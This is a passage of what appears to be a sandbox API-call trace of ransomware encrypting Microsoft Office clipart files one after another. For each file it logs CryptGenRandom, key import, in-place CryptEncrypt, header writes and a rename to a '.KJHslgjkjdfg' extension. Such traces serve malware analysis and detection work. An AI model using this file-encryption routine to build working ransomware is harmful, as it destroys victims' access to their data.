out: lpNewFilePointer=0x0) returned 1 [0173.777] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.777] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.777] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.777] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.777] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3928, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3928, lpOverlapped=0x0) returned 1 [0173.778] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3930, dwBufLen=0x3930 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3930) returned 1 [0173.778] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.778] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3930, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3930, lpOverlapped=0x0) returned 1 [0173.778] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.779] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.779] SetEndOfFile (hFile=0x114) returned 1 [0173.781] GetProcessHeap () returned 0x2a0000 [0173.781] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.781] GetProcessHeap () returned 0x2a0000 [0173.782] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.782] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151055.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151055.wmf.kjhslgjkjdfg")) returned 1 [0173.783] CloseHandle (hObject=0x114) returned 1 [0173.783] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151061.WMF", cAlternateFileName="")) returned 1 [0173.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.784] GetProcessHeap () returned 0x2a0000 [0173.784] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.784] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.784] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.784] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.784] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.784] GetProcessHeap () returned 0x2a0000 [0173.784] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.784] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.784] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.784] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.786] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.787] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.787] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.787] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.787] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.787] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.787] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.787] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.787] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a60, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a60, lpOverlapped=0x0) returned 1 [0173.788] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a60, dwBufLen=0x1a60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a60) returned 1 [0173.788] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.788] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a60, lpOverlapped=0x0) returned 1 [0173.788] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.788] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.788] SetEndOfFile (hFile=0x114) returned 1 [0173.791] GetProcessHeap () returned 0x2a0000 [0173.791] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.791] GetProcessHeap () returned 0x2a0000 [0173.791] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.791] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151061.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151061.wmf.kjhslgjkjdfg")) returned 1 [0173.792] CloseHandle (hObject=0x114) returned 1 [0173.792] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151063.WMF", cAlternateFileName="")) returned 1 [0173.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.793] GetProcessHeap () returned 0x2a0000 [0173.793] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.793] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.793] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.793] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.795] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.796] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.796] GetProcessHeap () returned 0x2a0000 [0173.796] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.796] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.796] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.796] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.796] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.796] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.796] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.796] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.796] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.796] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.796] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.796] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.796] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2988, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2988, lpOverlapped=0x0) returned 1 [0173.797] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2990, dwBufLen=0x2990 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2990) returned 1 [0173.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.798] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2990, lpOverlapped=0x0) returned 1 [0173.798] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.798] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.798] SetEndOfFile (hFile=0x114) returned 1 [0173.800] GetProcessHeap () returned 0x2a0000 [0173.800] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.800] GetProcessHeap () returned 0x2a0000 [0173.800] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.801] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151063.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151063.wmf.kjhslgjkjdfg")) returned 1 [0173.802] CloseHandle (hObject=0x114) returned 1 [0173.802] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3394, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151067.WMF", cAlternateFileName="")) returned 1 [0173.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.803] GetProcessHeap () returned 0x2a0000 [0173.803] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.803] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.803] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.803] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.805] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.805] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.805] GetProcessHeap () returned 0x2a0000 [0173.805] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.805] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.805] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.805] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.806] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.806] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.806] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.806] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.806] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.806] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.806] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.806] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.806] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3394, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3394, lpOverlapped=0x0) returned 1 [0173.807] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x33a0, dwBufLen=0x33a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x33a0) returned 1 [0173.807] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.807] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x33a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x33a0, lpOverlapped=0x0) returned 1 [0173.808] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.808] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.808] SetEndOfFile (hFile=0x114) returned 1 [0173.810] GetProcessHeap () returned 0x2a0000 [0173.810] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.810] GetProcessHeap () returned 0x2a0000 [0173.810] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.810] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151067.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151067.wmf.kjhslgjkjdfg")) returned 1 [0173.812] CloseHandle (hObject=0x114) returned 1 [0173.812] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3418, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0151073.WMF", cAlternateFileName="")) returned 1 [0173.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.813] GetProcessHeap () returned 0x2a0000 [0173.813] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.813] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.813] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.813] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.815] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.815] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.815] GetProcessHeap () returned 0x2a0000 [0173.815] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.815] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.815] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.815] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.815] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.815] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.815] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.815] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.816] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.816] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.816] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.816] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.816] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3418, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3418, lpOverlapped=0x0) returned 1 [0173.817] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3420, dwBufLen=0x3420 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3420) returned 1 [0173.817] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.817] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3420, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3420, lpOverlapped=0x0) returned 1 [0173.817] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.817] SetFilePointerEx (in: hFile=0x114, 